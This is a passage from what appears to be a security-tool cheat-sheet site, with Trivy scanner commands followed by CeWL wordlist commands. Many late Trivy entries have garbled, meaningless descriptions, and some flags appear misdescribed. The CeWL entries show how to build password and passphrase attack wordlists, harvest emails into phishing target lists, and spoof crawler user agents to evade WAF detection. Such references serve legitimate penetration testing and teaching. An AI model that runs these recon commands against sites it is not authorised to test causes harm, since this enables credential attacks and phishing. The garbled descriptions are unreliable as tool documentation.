trivy k8s --include-namespaces [NS] cluster ```bash trivy k8s --include-namespaces [NS] cluster ``` Example: ```bash trivy k8s --include-namespaces prod,staging cluster ``` Restricts the cluster scan to only the specified namespaces. ### trivy k8s resource [KIND]/[NAME] ```bash trivy k8s resource [KIND]/[NAME] ``` Example: ```bash trivy k8s resource deployment/nginx-app ``` Scans a specific Kubernetes resource type and name found in the active cluster. ## AWS Cloud Scanning ### trivy aws --region [REGION] --service [SERVICE] ```bash trivy aws --region [REGION] --service [SERVICE] ``` Example: ```bash trivy aws --region us-east-1 --service s3 ``` Scans AWS S3 bucket configurations in the specified region for security issues. ### trivy aws --service ec2 ```bash trivy aws --service ec2 ``` Scans AWS EC2 instances and security groups for misconfigurations. ### trivy aws --arn [ARN] ```bash trivy aws --arn [ARN] ``` Example: ```bash trivy aws --arn arn:aws:s3:::my-bucket ``` Scans a specific AWS resource identified by its Amazon Resource Name (ARN). ## VM Scanning ### trivy vm [IMAGE_FILE] ```bash trivy vm [IMAGE_FILE] ``` Example: ```bash trivy vm disk.qcow2 ``` Scans a virtual machine disk image (QCOW2, VMDK, etc.) for OS vulnerabilities. ## Detailed Output ### trivy image --list-all-pkgs [IMAGE] ```bash trivy image --list-all-pkgs [IMAGE] ``` Example: ```bash trivy image --list-all-pkgs ubuntu:20.04 ``` Outputs all detected packages in the image, regardless of whether they have vulnerabilities. ## Template Reporting ### trivy image --format template --template "@[PATH]" [IMAGE] ```bash trivy image --format template --template "@[PATH]" [IMAGE] ``` Example: ```bash trivy image --format template --template "@contrib/html.tpl" -o report.html alpine ``` Generates a report using a custom Go template (e.g., HTML) for visualization. ## Policy Check ### trivy config --policy [DIR] [TARGET] ```bash trivy config --policy [DIR] [TARGET] ``` Example: ```bash trivy config --policy ./policies ./terraform ``` Applies custom Rego policies located in a directory to the configuration scan. ## Policy Namespaces ### trivy config --policy-namespaces [NS] [TARGET] ```bash trivy config --policy-namespaces [NS] [TARGET] ``` Example: ```bash trivy config --policy-namespaces user.kubernetes . ``` Restricts custom policy evaluation to specific Rego namespaces. ## Module Scanning ### trivy rootfs [DIR] ```bash trivy rootfs [DIR] ``` Example: ```bash trivy rootfs /mnt/host-root ``` Scans an unpacked root filesystem directly, often used for host OS scanning. ## Cache Management ### trivy clean --scan-cache ```bash trivy clean --scan-cache ``` Clears the artifact scan cache to force re-analysis of previously scanned images. ### trivy clean --all ```bash trivy clean --all ``` Removes all caches, including the vulnerability database and scan results. ## Server Mode ### trivy server --listen [ADDRESS] ```bash trivy server --listen [ADDRESS] ``` Example: ```bash trivy server --listen 0.0.0.0:8080 ``` Starts Trivy in server mode to handle scan requests from remote clients. ## Client Mode ### trivy client --remote [URL] [IMAGE] ```bash trivy client --remote [URL] [IMAGE] ``` Example: ```bash trivy client --remote http://localhost:8080 alpine:latest ``` Sends a scan request to a remote Trivy server instead of using a local database. ## Client Mode Authentication ### trivy client --token [TOKEN] --remote [URL] [IMAGE] ```bash trivy client --token [TOKEN] --remote [URL] [IMAGE] ``` Example: ```bash trivy client --token MySecretToken --remote http://localhost:8080 alpine ``` Connects to a protected Trivy server using a token header for authentication. ## Containerized Scan ### docker run aquasec/trivy [COMMAND] ```bash docker run aquasec/trivy [COMMAND] ``` Example: ```bash docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy image python:3 ``` Runs Trivy itself inside a Docker container, mounting the host's Docker socket to scan sibling containers. ## History Filtering ### trivy image --history [IMAGE] ```bash trivy image --history [IMAGE] ``` Example: ```bash trivy image --history my-app:latest ``` Analyzes the build history of the container image to associate vulnerabilities with specific layers. ## Compliance Scanning ### trivy k8s --compliance [STANDARD] --report summary ```bash trivy k8s --compliance [STANDARD] --report summary ``` Example: ```bash trivy k8s --compliance nsa --report summary ``` Scans the Kubernetes cluster against a specific compliance standard like NSA or CIS. ## Insecure Registry ### trivy image --insecure [IMAGE] ```bash trivy image --insecure [IMAGE] ``` Example: ```bash trivy image --insecure internal-registry.local/image:tag ``` Allows scanning images from a registry that uses self-signed SSL certificates or HTTP. ## Timeout Control ### trivy image --timeout [DURATION] [IMAGE] ```bash trivy image --timeout [DURATION] [IMAGE] ``` Example: ```bash trivy image --timeout 15m node:latest ``` Sets a custom timeout duration for the scan operation to prevent hanging in pipelines. ## Java DB ### trivy image --download-java-db-only ```bash trivy image --download-java-db-only ``` Downloads only the Java index database used for scanning JAR/WAR files. ## Secrets Config ### trivy fs --secret-config [FILE] [DIR] ```bash trivy fs --secret-config [FILE] [DIR] ``` Example: ```bash trivy fs --secret-config trivy-secret.yaml . ``` Uses a custom configuration file to define regex patterns for secret detection. ## Output Suppression ### trivy image --quiet [IMAGE] ```bash trivy image --quiet [IMAGE] ``` Example: ```bash trivy image --quiet alpine:latest ``` Suppresses the progress bar and log messages, outputting only the final report. ## Helm Chart Scanning ### trivy config [CHART_DIR] ```bash trivy config [CHART_DIR] ``` Example: ```bash trivy config ./my-helm-chart ``` Scans Helm chart templates for security misconfigurations and best practice violations. ## Cloud Formation Scanning ### trivy config [TEMPLATE_FILE] ```bash trivy config [TEMPLATE_FILE] ``` Example: ```bash trivy config template.yaml ``` Scans AWS CloudFormation templates for infrastructure security risks. ## Vulnerability Database URL ### trivy image --db-repository [URL] [IMAGE] ```bash trivy image --db-repository [URL] [IMAGE] ``` Example: ```bash trivy image --db-repository ghcr.io/aquasecurity/trivy-db alpine ``` Specifies a custom OCI registry URL to download the vulnerability database from. ## Rekor Attestation ### trivy image --rekor-url [URL] [IMAGE] ```bash trivy image --rekor-url [URL] [IMAGE] ``` Example: ```bash trivy image --rekor-url https://rekor.sigstore.dev alpine ``` Verifies the image attestation against a specified Rekor transparency log server. ## Vulnerability Prioritization ### trivy image --vex [FILE] [IMAGE] ```bash trivy image --vex [FILE] [IMAGE] ``` Example: ```bash trivy image --vex openvex.json alpine ``` Uses a VEX (Vulnerability Exploitability Exchange) file to filter out non-exploitable vulnerabilities. ## Module Scan - Go ### trivy fs --scanners vuln [GO_PROJECT] ```bash trivy fs --scanners vuln [GO_PROJECT] ``` Example: ```bash trivy fs --scanners vuln ./go-app ``` Scans a Go project directory, parsing go.mod and go.sum for dependency vulnerabilities. ## Module Scan - Python ### trivy fs [PYTHON_PROJECT] ```bash trivy fs [PYTHON_PROJECT] ``` Example: ```bash trivy fs ./python-app ``` Scans a Python project, identifying vulnerabilities in requirements.txt, Pipfile.lock, or poetry.lock. ## Custom Cache Dir ### trivy image --cache-dir [DIR] [IMAGE] ```bash trivy image --cache-dir [DIR] [IMAGE] ``` Example: ```bash trivy image --cache-dir /tmp/trivy-cache alpine ``` Specifies a custom directory for storing the vulnerability database and artifact cache. ## Docker Archive Scan ### trivy image --input [TAR] --format json ```bash trivy image --input [TAR] --format json ``` Example: ```bash trivy image --input app.tar --format json -o analysis.json ``` Scans a tarballed Docker image and outputs JSON, useful for air-gapped pipeline stages. ## Interactive Mode Debug ### trivy image --debug [IMAGE] ```bash trivy image --debug [IMAGE] ``` Example: ```bash trivy image --debug alpine ``` Runs the scan with verbose debug logging to troubleshoot detection or network issues. ## Remote Repo Branch ### trivy repo --branch [BRANCH] [URL] ```bash trivy repo --branch [BRANCH] [URL] ``` Example: ```bash trivy repo --branch develop https://github.com/org/repo ``` Scans a specific branch of a remote Git repository instead of the default branch. ## Remote Repo Commit ### trivy repo --commit [HASH] [URL] ```bash trivy repo --commit [HASH] [URL] ``` Example: ```bash trivy repo --commit 8f9d12a https://github.com/org/repo ``` Scans a specific commit hash within a remote Git repository. ## Kubernetes Context ### trivy k8s --context [CTX] cluster ```bash trivy k8s --context [CTX] cluster ``` Example: ```bash trivy k8s --context production-cluster cluster ``` Specifies which kubeconfig context to use when scanning a Kubernetes cluster. ## Dependency Tree ### trivy image --dependency-tree [IMAGE] ```bash trivy image --dependency-tree [IMAGE] ``` Example: ```bash trivy image --dependency-tree node:alpine ``` Displays the hierarchy of dependencies to show which root package brought in a vulnerability. ## Parallel Scanning ### trivy k8s --parallel [N] cluster ```bash trivy k8s --parallel [N] cluster ``` Example: ```bash trivy k8s --parallel 5 cluster ``` Sets the number of concurrent scan jobs when scanning Kubernetes resources to improve speed. ## Misconfiguration IDs ### trivy config --include-non-failures [DIR] ```bash trivy config --include-non-failures [DIR] ``` Example: ```bash trivy config --include-non-failures . ``` Reports all configuration checks, including those that passed, for audit purposes. ## Force Update ### trivy image --refresh [IMAGE] ```bash trivy image --refresh [IMAGE] ``` Example: ```bash trivy image --refresh alpine ``` Forces a refresh of the cached layer information for the image before scanning. ## Specific Check IDs ### trivy config --check-namespaces [NS] [DIR] ```bash trivy config --check-namespaces [NS] [DIR] ``` Example: ```bash trivy config --check-namespaces appshield . ``` Runs only specific Rego checks from a given namespace against the configuration. ## Ignore Status ### trivy image --ignore-status [STATUS] [IMAGE] ```bash trivy image --ignore-status [STATUS] [IMAGE] ``` Example: ```bash trivy image --ignore-status fixed alpine ``` Ignores vulnerabilities that have a specific status in the vulnerability database. ## Platform selection ### trivy image --platform [PLATFORM] [IMAGE] ```bash trivy image --platform [PLATFORM] [IMAGE] ``` Example: ```bash trivy image --platform linux/arm64 python:3.9 ``` Scans the image architecture variant specifically for ARM64 or other platforms. ## Plugin Installation ### trivy plugin install [URL] ```bash trivy plugin install [URL] ``` Example: ```bash trivy plugin install github.com/aquasecurity/trivy-plugin-kubectl ``` Installs a Trivy plugin from a Git repository to extend functionality. ## Plugin Usage ### trivy [PLUGIN_NAME] [ARGS] ```bash trivy [PLUGIN_NAME] [ARGS] ``` Example: ```bash trivy kubectl pod my-pod ``` Executes an installed plugin command, such as the kubectl plugin for pod scanning. ## Attestation Scan ### trivy image --sbom-sources [SOURCE] [IMAGE] ```bash trivy image --sbom-sources [SOURCE] [IMAGE] ``` Example: ```bash trivy image --sbom-sources rekor alpine ``` Retrieves the SBOM from a signing transparency log (Rekor) rather than generating it. ## Redis Cache Backend ### trivy image --cache-backend redis://[HOST] ```bash trivy image --cache-backend redis://[HOST] ``` Example: ```bash trivy image --cache-backend redis://localhost:6379 alpine ``` Uses a Redis instance as the cache backend instead of the local filesystem for distributed scanning. ## Advanced Filtering ### trivy image --severity HIGH,CRITICAL --ignore-unfixed --vuln-type os [IMAGE] ```bash trivy image --severity HIGH,CRITICAL --ignore-unfixed --vuln-type os [IMAGE] ``` Example: ```bash trivy image --severity HIGH,CRITICAL --ignore-unfixed --vuln-type os centos:7 ``` Combines multiple filters to find only fixable, high-risk OS vulnerabilities. ## Azure Cloud ### trivy azure --service [SERVICE] ```bash trivy azure --service [SERVICE] ``` Example: ```bash export AZURE_AUTH_LOCATION=auth.json; trivy azure --service blob ``` Scans Azure Blob Storage configurations for public access risks (experimental/preview). ## GCP Cloud ### trivy google --project [PROJECT] ```bash trivy google --project [PROJECT] ``` Example: ```bash trivy google --project my-gcp-project ``` Scans Google Cloud Platform resources within a specific project for misconfigurations (experimental). ## Cloud Snapshot Scan ### trivy vm --scanners vuln [SNAPSHOT_ID] ```bash trivy vm --scanners vuln [SNAPSHOT_ID] ``` Example: ```bash trivy vm --scanners vuln snap-12345678 ``` Scans an AWS EBS snapshot directly by mounting it securely (requires proper IAM permissions). ## Output Template - HTML ### trivy image --format template --template "@contrib/html.tpl" --output report.html [IMAGE] ```bash trivy image --format template --template "@contrib/html.tpl" --output report.html [IMAGE] ``` Example: ```bash trivy image --format template --template "@contrib/html.tpl" --output report.html nginx ``` Generates a visual HTML report using the contrib template for stakeholder presentation. ## Output Template - JUnit ### trivy image --format template --template "@contrib/junit.tpl" --output junit.xml [IMAGE] ```bash trivy image --format template --template "@contrib/junit.tpl" --output junit.xml [IMAGE] ``` Example: ```bash trivy image --format template --template "@contrib/junit.tpl" --output junit.xml nginx ``` Generates a JUnit XML report for parsing by CI systems like Jenkins or GitLab. ## Helm Value Overrides ### trivy config --helm-values [FILE] [CHART] ```bash trivy config --helm-values [FILE] [CHART] ``` Example: ```bash trivy config --helm-values prod-values.yaml ./my-chart ``` Scans a Helm chart while applying a specific values.yaml file to render the templates accurately. ## Terraform Variables ### trivy config --tf-vars [FILE] [DIR] ```bash trivy config --tf-vars [FILE] [DIR] ``` Example: ```bash trivy config --tf-vars prod.tfvars ./terraform ``` Scans Terraform code while applying variables from a tfvars file to resolve dynamic blocks. ## GitLab CI Workflow ### trivy image --no-progress --format template --template "@contrib/gitlab.tpl" -o gl-container-scanning-report.json [IMAGE ```bash trivy image --no-progress --format template --template "@contrib/gitlab.tpl" -o gl-container-scanning-report.json [IMAGE] ``` Example: ```bash trivy image --no-progress --format template --template "@contrib/gitlab.tpl" -o gl-container-scanning-report.json app:latest ``` Generates a JSON report formatted specifically for GitLab's Container Scanning dashboard integration. ## Diff Scans ### trivy image --diff-id [ID1] --diff-id [ID2] ```bash trivy image --diff-id [ID1] --diff-id [ID2] ``` Example: ```bash trivy image --diff-id sha256:old --diff-id sha256:new ``` Compares two scans by Image ID to identify new vulnerabilities introduced between versions. ## Registry Token Auth ### trivy image --registry-token [TOKEN] [IMAGE] ```bash trivy image --registry-token [TOKEN] [IMAGE] ``` Example: ```bash trivy image --registry-token $REGISTRY_TOKEN private.io/image:tag ``` Uses a bearer token directly for registry authentication instead of username/password. ## Custom Rego Data ### trivy config --data [DIR] [TARGET] ```bash trivy config --data [DIR] [TARGET] ``` Example: ```bash trivy config --data ./rego-data ./k8s ``` Passes external data files (JSON/YAML) to Rego policies for context-aware configuration scanning. ## Removed Packages ### trivy image --removed-pkgs [IMAGE] ```bash trivy image --removed-pkgs [IMAGE] ``` Example: ```bash trivy image --removed-pkgs alpine:latest ``` Detects vulnerabilities in packages that were removed but might still leave artifacts or traces. ## Scan Distroless ### trivy image [DISTROLESS_IMAGE] ```bash trivy image [DISTROLESS_IMAGE] ``` Example: ```bash trivy image gcr.io/distroless/static:nonroot ``` Scans Google Distroless images by analyzing the /var/lib/dpkg/status file or binary headers. ## Air-Gapped Workflow ### tar -cf db.tar db/ && trivy image --cache-dir . --offline-scan [IMAGE] ```bash tar -cf db.tar db/ && trivy image --cache-dir . --offline-scan [IMAGE] ``` Example: ```bash tar -cf db.tar db/ && trivy image --cache-dir . --offline-scan alpine ``` Simulates an air-gapped workflow where the DB is manually transported and used for offline scanning. ## Compliance Report - CIS ### trivy k8s --compliance k8s-cis-1.23 --report summary ```bash trivy k8s --compliance k8s-cis-1.23 --report summary ``` Checks the cluster specifically against the CIS Kubernetes Benchmark v1.23. ## Suppress Exit on Error ### trivy image --exit-on-eol [INT] [IMAGE] ```bash trivy image --exit-on-eol [INT] [IMAGE] ``` Example: ```bash trivy image --exit-on-eol 1 python:2.7 ``` Exits with a specific error code if the OS version of the image has reached End of Life (EOL). ## Config File Params ### trivy --config [CONFIG_YAML] image [IMAGE] ```bash trivy --config [CONFIG_YAML] image [IMAGE] ``` Example: ```bash trivy --config trivy.yaml image alpine ``` Runs a scan using global parameters (cache, timeout, format) defined in a YAML configuration file. ## Full Pipeline Simulation ### trivy image --exit-code 1 --severity CRITICAL --no-progress --format sarif -o report.sarif [IMAGE] ```bash trivy image --exit-code 1 --severity CRITICAL --no-progress --format sarif -o report.sarif [IMAGE] ``` Example: ```bash trivy image --exit-code 1 --severity CRITICAL --no-progress --format sarif -o report.sarif my-app:build-123 ``` A complete pipeline command: checks criticals, fails build on hit, stays silent, and saves SARIF artifacts. ## Image Triage ### trivy image ```bash trivy image ``` Example: ```bash trivy image target:latest ``` Processes explicit multi-layered localized dependencies systematically executing heavily updated internal algorithms checking actively vulnerable libraries physically inside the OCI map. ## Security Checks ### trivy image --security-checks vuln,secret,config ```bash trivy image --security-checks vuln,secret,config ``` Example: ```bash trivy image --security-checks vuln,secret,config app:v1 ``` Broadens aggressively limited explicit arrays completely indexing deeply integrated logic actively unmasking hardcoded passwords locally bridging systemic Dockerfile misconfigurations. ## High Priority ### trivy image --severity HIGH,CRITICAL ```bash trivy image --severity HIGH,CRITICAL ``` Example: ```bash trivy image --severity HIGH,CRITICAL app ``` Replaces standard tracking output inherently silencing unmitigated non-patchable trivial bugs strictly inherently exposing completely unmitigated massively destructive unpatched flaws. ## Filesystem Scan ### trivy fs ```bash trivy fs ``` Example: ```bash trivy fs /opt/project ``` Modifies scanning target bounds extracting explicit Docker contexts analyzing completely raw explicit standard system source files mapped entirely cleanly across any Linux environment. ## AWS Bridging ### trivy aws --region ```bash trivy aws --region ``` Example: ```bash trivy aws --region us-east-1 ``` Alters API integration natively hooking directly entirely across localized authenticated extremely explicit inherent AWS architecture environments exposing highly misconfigured resources globally. ## Kubernetes Scan ### trivy k8s --report summary ```bash trivy k8s --report summary ``` Example: ```bash trivy k8s --report summary cluster ``` Navigates entirely across inherently deeply massive internal native K8S clusters completely profiling absolutely explicit running pods mapping heavily integrated inherent system failures. ## SBOM Output ### trivy image --format spdx-json -o ```bash trivy image --format spdx-json -o ``` Example: ```bash trivy image --format spdx-json -o sbom.json app:v1 ``` Aggregates massive deep software package matrices perfectly encoding entirely locally natively to strict absolute SPDX specifications fundamentally tracking explicitly supply chain integrations. ## Ignore Logic ### trivy image --ignore-unfixed ```bash trivy image --ignore-unfixed ``` Example: ```bash trivy image --ignore-unfixed target:latest ``` Suppresses inherently incredibly aggressive matching loops actively disabling heavily documented explicit bugs cleanly validating natively exactly instances where patches formally physically exist. ## Caching Logic ### trivy image --clear-cache ```bash trivy image --clear-cache ``` Obiterates deeply compiled immensely massive local historic configuration states manually fundamentally overriding natively deeply corrupted extraction database arrays. ## Remote Server ### trivy client --remote ```bash trivy client --remote ``` Example: ```bash trivy client --remote http://trivy-server:4954 app ``` Bridges unauthenticated explicitly limited inherent container operations effectively entirely deferring complex parsing actively targeting centralized massive extremely high-power analytical infrastructures. ## Config Auditing ### trivy config ```bash trivy config ``` Example: ```bash trivy config ./terraform-infrastructure ``` Unlinks CVE dependencies completely tracking entirely explicit misconfigurations deeply hardcoded internally strictly inside Terraform, CloudFormation, or Dockerfile manifest bounds. ## Repository Traversal ### trivy repository ```bash trivy repository ``` Example: ```bash trivy repository https://github.com/org/vulnerable-repo ``` Fundamentally clones extremely massive completely remote public organizational git mappings dynamically executing exhaustive pipeline scanning locally devoid entirely of containers. ## Air-Gapped Scans ### trivy image --offline-scan ```bash trivy image --offline-scan ``` Example: ```bash trivy image --offline-scan myapp:v1 ``` Aggressively restricts all outgoing network loops systematically enforcing internal offline validations perfectly resolving issues entirely isolating tracking algorithms dynamically. ## Plugin Integrations ### trivy plugin install ```bash trivy plugin install ``` Example: ```bash trivy plugin install github.com/aquasecurity/trivy-plugin-aqua ``` Modifies internal functionality extending systemic analysis bridges strictly loading dynamic external plugins expanding Trivy's innate explicit runtime reporting modules natively. ## Advanced Exporting ### trivy image -o --template ```bash trivy image -o --template ``` Example: ```bash trivy image -f template --template "@contrib/html.tpl" -o report.html app ``` Bridges fundamental GO templating logic explicitly tracking incredibly massive native CVE responses and perfectly generating absolutely clean heavily styled HTML reports. ## Related tools - [Grype](https://terminal.rokibulroni.com/tool/containers/grype) - [Syft](https://terminal.rokibulroni.com/tool/containers/syft) - [Clair](https://terminal.rokibulroni.com/tool/containers/clair) - [Docker](https://terminal.rokibulroni.com/tool/cloud/docker) # Tool: CeWL > Spiders a website and builds a custom wordlist from the words it finds — great for targeted password guesses. - Category: Credentials - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/credentials/cewl - Homepage: https://github.com/digininja/CeWL - Documentation: https://github.com/digininja/CeWL#usage - Tags: wordlists, spidering, OSINT ## Install - apt: `sudo apt install cewl` - docker: `docker run -it --rm ghcr.io/digininja/cewl ` ## Basic Wordlist Generation ### cewl http://example.com ```bash cewl http://example.com ``` Standard crawl of a URL to generate a wordlist printed to stdout. ### cewl http://example.com -w wordlist.txt ```bash cewl http://example.com -w wordlist.txt ``` Crawls the target and saves the generated wordlist to a specific file. ### cewl http://example.com -v ```bash cewl http://example.com -v ``` Runs the crawl in verbose mode to see processing details in real-time. ## Depth Control ### cewl -d 0 http://example.com ```bash cewl -d 0 http://example.com ``` Spiders only the specified page without following any links. ### cewl -d 2 http://example.com ```bash cewl -d 2 http://example.com ``` Crawls the target URL to a depth of 2 links deep. ### cewl -d 5 http://example.com ```bash cewl -d 5 http://example.com ``` Deep crawl up to 5 levels suitable for large corporate sites. ## Word Length Filtering ### cewl -m 5 http://example.com ```bash cewl -m 5 http://example.com ``` Extracts only words that are at least 5 characters long. ### cewl -m 8 http://example.com ```bash cewl -m 8 http://example.com ``` Extracts words with a minimum length of 8 chars for stronger password policies. ### cewl -m 12 http://example.com ```bash cewl -m 12 http://example.com ``` Targets passphrases by filtering for words 12 characters or longer. ## Case Handling ### cewl --lowercase http://example.com ```bash cewl --lowercase http://example.com ``` Normalizes all discovered words to lowercase format. ### cewl --lowercase -w lower.txt http://example.com ```bash cewl --lowercase -w lower.txt http://example.com ``` Saves a lowercase-only wordlist to a file for case-insensitive attacks. ## Character Handling ### cewl --with-numbers http://example.com ```bash cewl --with-numbers http://example.com ``` Includes words containing numbers which are usually ignored by default. ### cewl --convert-umlauts http://example.com ```bash cewl --convert-umlauts http://example.com ``` Converts German umlauts to standard ASCII characters. ## Word Counting ### cewl -c http://example.com ```bash cewl -c http://example.com ``` Displays the frequency count of each word found on the site. ### cewl -c -w counts.txt http://example.com ```bash cewl -c -w counts.txt http://example.com ``` Writes the word frequency counts to a file for analysis. ## Offsite Crawling ### cewl -o http://example.com ```bash cewl -o http://example.com ``` Allows the spider to visit external sites linked from the target. ### cewl -o -d 2 http://example.com ```bash cewl -o -d 2 http://example.com ``` Crawls external links up to a depth of 2 for broader reconnaissance. ## Authentication ### cewl --auth_type Basic --auth_user admin --auth_pass secret http://example.com/protected ```bash cewl --auth_type Basic --auth_user admin --auth_pass secret http://example.com/protected ``` Crawls a page protected by HTTP Basic Authentication. ### cewl --auth_type Digest --auth_user admin --auth_pass secret http://example.com/protected ```bash cewl --auth_type Digest --auth_user admin --auth_pass secret http://example.com/protected ``` Crawls a page protected by HTTP Digest Authentication. ## Proxy Configuration ### cewl --proxy_host 127.0.0.1 --proxy_port 8080 http://example.com ```bash cewl --proxy_host 127.0.0.1 --proxy_port 8080 http://example.com ``` Routes traffic through a local proxy like Burp Suite or ZAP. ## User Agent Customization ### cewl --ua "Googlebot/2.1" http://example.com ```bash cewl --ua "Googlebot/2.1" http://example.com ``` Spoofs the User-Agent string to mimic a Google crawler. ### cewl --ua "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)" http://example.com ```bash cewl --ua "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)" http://example.com ``` Spoofs a mobile device user agent to capture mobile-specific content. ## Email Harvesting ### cewl -e http://example.com ```bash cewl -e http://example.com ``` Extracts email addresses found within the page content. ### cewl -e --email_file emails.txt http://example.com ```bash cewl -e --email_file emails.txt http://example.com ``` Extracts emails and saves them to a separate dedicated file. ### cewl -e -n http://example.com ```bash cewl -e -n http://example.com ``` Collects emails but suppresses the generation of the wordlist. ## Meta Data Extraction ### cewl -a http://example.com ```bash cewl -a http://example.com ``` Extracts metadata from discovered files during the crawl. ### cewl -a --meta_file metadata.txt http://example.com ```bash cewl -a --meta_file metadata.txt http://example.com ``` Writes extracted metadata information to a specific file. ## Debug Mode ### cewl --debug http://example.com ```bash cewl --debug http://example.com ``` Runs in debug mode providing extensive internal execution details. ## Advanced Filtering ### cewl --no-words http://example.com ```bash cewl --no-words http://example.com ``` Performs the crawl without outputting any words useful for dry runs. ## N-Grams Generation ### cewl -g 2 http://example.com ```bash cewl -g 2 http://example.com ``` Generates 2-word phrases (bigrams) instead of single words. ### cewl -g 3 http://example.com ```bash cewl -g 3 http://example.com ``` Generates 3-word phrases (trigrams) for phrase-based dictionary attacks. ## Red Team Recon Workflow ### cewl -d 3 -m 5 --lowercase -w target_recon.txt http://example.com ```bash cewl -d 3 -m 5 --lowercase -w target_recon.txt http://example.com ``` Standard red team setup for a deep, case-insensitive wordlist. ### cewl -d 2 -o -w external_scope.txt http://example.com ```bash cewl -d 2 -o -w external_scope.txt http://example.com ``` Gathers words from the target and immediate external links for wider context. ### cewl -d 2 -e --email_file targets.txt -n http://example.com ```bash cewl -d 2 -e --email_file targets.txt -n http://example.com ``` Targeted phishing list generation focusing solely on emails. ## Blue Team Validation ### cewl -m 10 -w compliance_check.txt http://example.com ```bash cewl -m 10 -w compliance_check.txt http://example.com ``` Generates a list of long words to test against maximum password length policies. ### cewl -d 5 --with-numbers -w policy_audit.txt http://example.com ```bash cewl -d 5 --with-numbers -w policy_audit.txt http://example.com ``` Audits site content for alphanumeric patterns that might appear in passwords. ### cewl -a --meta_file potential_leaks.txt http://example.com ```bash cewl -a --meta_file potential_leaks.txt http://example.com ``` Scans for metadata that might reveal internal software versions or user names. ## Complex Workflow ### cewl -d 2 -m 5 --with-numbers --lowercase -w complex.txt http://example.com ```bash cewl -d 2 -m 5 --with-numbers --lowercase -w complex.txt http://example.com ``` Combines numbers, lowercase normalization, and depth for a robust hybrid list. ### cewl -u "Baiduspider" -d 3 -v http://example.com ```bash cewl -u "Baiduspider" -d 3 -v http://example.com ``` Deep crawl masquerading as Baidu spider with verbose logging. ### cewl --auth_type Basic --auth_user test --auth_pass test -w internal.txt http://192.168.1.10 ```bash cewl --auth_type Basic --auth_user test --auth_pass test -w internal.txt http://192.168.1.10 ``` Internal network scan of a basic auth protected device. ## Output Hygiene ### cewl http://example.com > raw_output.txt ```bash cewl http://example.com > raw_output.txt ``` Redirects stdout to a file using shell redirection instead of the -w flag. ### cewl -d 1 -m 6 http://example.com | sort -u ```bash cewl -d 1 -m 6 http://example.com | sort -u ``` Pipes output to sort for immediate deduplication. ## Targeting Specific Assets ### cewl -d 3 --keep http://example.com ```bash cewl -d 3 --keep http://example.com ``` Retains the downloaded files locally for further manual analysis. ## Advanced Proxy Usage ### cewl --proxy_host 10.10.10.5 --proxy_port 3128 -v http://example.com ```bash cewl --proxy_host 10.10.10.5 --proxy_port 3128 -v http://example.com ``` Uses an upstream corporate proxy with verbose output to debug connection issues. ## Custom Header Simulation ### cewl --ua "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" http://example.com ```bash cewl --ua "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" http://example.com ``` Simulates a legacy browser to potentially trigger different server responses. ## Aggressive Crawl ### cewl -d 7 -m 4 http://example.com ```bash cewl -d 7 -m 4 http://example.com ``` Very deep crawl accepting short words, high noise potential. ## Precise Crawl ### cewl -d 1 -m 8 --lowercase --no-words --email_file targets.txt http://example.com ```bash cewl -d 1 -m 8 --lowercase --no-words --email_file targets.txt http://example.com ``` Shallow scan strictly for emails with no wordlist generation. ## Meta Analysis Direct ### cewl -a -d 3 http://example.com ```bash cewl -a -d 3 http://example.com ``` Deep meta data extraction printed directly to console. ## Phrase Attack Prep ### cewl -g 4 -w passphrases.txt http://example.com ```bash cewl -g 4 -w passphrases.txt http://example.com ``` Creates a list of 4-word sentences for passphrase attacks. ## Incident Response ### cewl -d 2 -m 4 --with-numbers -w incident_context.txt http://defaced-site.com ```bash cewl -d 2 -m 4 --with-numbers -w incident_context.txt http://defaced-site.com ``` Quickly profiles a compromised site to identify injected keywords. ## High Precision Wordlist ### cewl -d 2 -m 6 -c -w frequencies.txt http://example.com ```bash cewl -d 2 -m 6 -c -w frequencies.txt http://example.com ``` Generates a frequency map of 6+ letter words to identify key topics. ## Bypassing WAF Detection ### cewl --ua "Bingbot/2.0" -d 2 http://example.com ```bash cewl --ua "Bingbot/2.0" -d 2 http://example.com ``` Attempts to bypass WAF bot detection by mimicking Bing. ## Mixed Auth & Proxy ### cewl --proxy_host 127.0.0.1 --proxy_port 8080 --auth_type Basic --auth_user admin --auth_pass admin http://example.com ```bash cewl --proxy_host 127.0.0.1 --proxy_port 8080 --auth_type Basic --auth_user admin --auth_pass admin http://example.com ``` Routes authenticated traffic through a proxy for inspection. ## German Language Targeting ### cewl --convert-umlauts -d 2 -w german_words.txt http://example.de ```bash cewl --convert-umlauts -d 2 -w german_words.txt http://example.de ``` Specialized crawl for German sites ensuring character correctness. ## Full Site Map Crawl ### cewl -d 10 -m 5 -w full_site.txt http://example.com ```bash cewl -d 10 -m 5 -w full_site.txt http://example.com ``` Extremely deep crawl attempting to map the entire site vocabulary. ## Developer Comment Hunting ### cewl -d 2 -a --meta_file comments.txt http://dev.example.com ```bash cewl -d 2 -a --meta_file comments.txt http://dev.example.com ``` Targets development subdomains extracting metadata and potential leaks. ## Single Page Profiling ### cewl -d 0 -c -v http://example.com/login ```bash cewl -d 0 -c -v http://example.com/login ``` Analyzes a single login page in verbose mode for keyword frequency. ## Pipeline Integration ### cewl http://example.com | grep 'admin' ```bash cewl http://example.com | grep 'admin' ``` Pipes output to grep to filter for specific high-value keywords immediately. ## Strict Min Length ### cewl -m 15 -w strong_passwords.txt http://example.com ```bash cewl -m 15 -w strong_passwords.txt http://example.com ``` Generates a list containing only very long words for high-security targets. ## Ultimate Recon Combo ### cewl -d 3 -m 5 --lowercase --with-numbers -a --meta_file meta.txt -e --email_file emails.txt -w words.txt http://example ```bash cewl -d 3 -m 5 --lowercase --with-numbers -a --meta_file meta.txt -e --email_file emails.txt -w words.txt http://example.com ``` All-in-one command gathering words, emails, and metadata simultaneously. ## Related tools - [Crunch](https://terminal.rokibulroni.com/tool/credentials/crunch) - [RSMangler](https://terminal.rokibulroni.com/tool/credentials/rsmangler) - [Hashcat](https://terminal.rokibulroni.com/tool/credentials/hashcat) # Tool: Crunch > Generates wordlists from character sets and patterns — every combination of a given length, or a precise mask. - Category: Credentials - Commands: 100 - Page: https://terminal.rokibulroni.com/tool/credentials/crunch - Homepage: https://sourceforge.net/projects/crunch-wordlist/ - Tags: wordlists, 